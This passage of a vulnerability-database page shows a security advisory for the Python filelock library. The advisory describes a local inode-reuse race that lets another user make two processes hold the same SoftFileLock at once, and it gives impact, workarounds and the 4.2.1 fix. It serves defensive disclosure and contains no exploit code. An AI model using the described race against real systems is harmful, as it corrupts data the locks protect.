reuse confirmed (inode 18 reused on every attempt, `--cpus 2`). 0 of 250 attempts fired on 4.2.0 in 802 s, as in the scanner-side triage, and 0 of 250 on the head of #843, so our run gives no evidence either way. The review confirmed that `utime` cannot set the file\u0027s change time. The classification follows from the cross-UID inode-reuse primitive verified in the stale-break race of the separate advisory and from the report\u0027s own runs.\n\n## Impact\n\nA local user who can create a file in a soft lock\u0027s directory, a sticky directory such as `/tmp` included, gets two processes of another user to hold the same `SoftFileLock` at once (`MarkerSoftFileLock` too, by the shared code). Neither process learns of the overlap, so both modify the data the lock protects. The other user has no simpler way to get this: in the sticky directory its `unlink`, `rename`, `open(..., \"w\")` and `utime` on a marker of the lock user all fail, and deleting its own file only frees the lock. For `SoftFileLease` the effect is a live, refreshed claim taken after milliseconds instead of after `lease_duration` without a refresh. The holder learns of it one heartbeat later, or not at all if it releases first. Not affected: releases before 4.1.0, filesystems that do not reuse inode numbers at once (tmpfs, btrfs), and a lock with a single contender.\n\n## Workarounds\n\nKeep soft locks in a directory other users cannot create files in (a `0700` directory of the lock\u0027s user) rather than a shared sticky directory, or put the lock directory on tmpfs, which does not reuse inode numbers. Where the native `FileLock` works (local ext4 with `flock`), prefer it over `SoftFileLock`. Raise `poll_interval` so fewer waiters bunch inside one clock tick; this lowers the hit rate but does not close the window.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-RKC48J5B`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory created\n- 2026-10-16 01:42 UTC: fix PR #843 opened",
  "id": "GHSA-2g95-wg33-c5x2",
  "modified": "2026-10-23T22:00:33Z",
  "published": "2026-10-23T22:00:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-2g95-wg33-c5x2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112906"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/pull/843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filelock: SoftFileLock evicts a fresh lock file whose watched age another local user\u0027s pre-dated file passed on through inode reuse"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.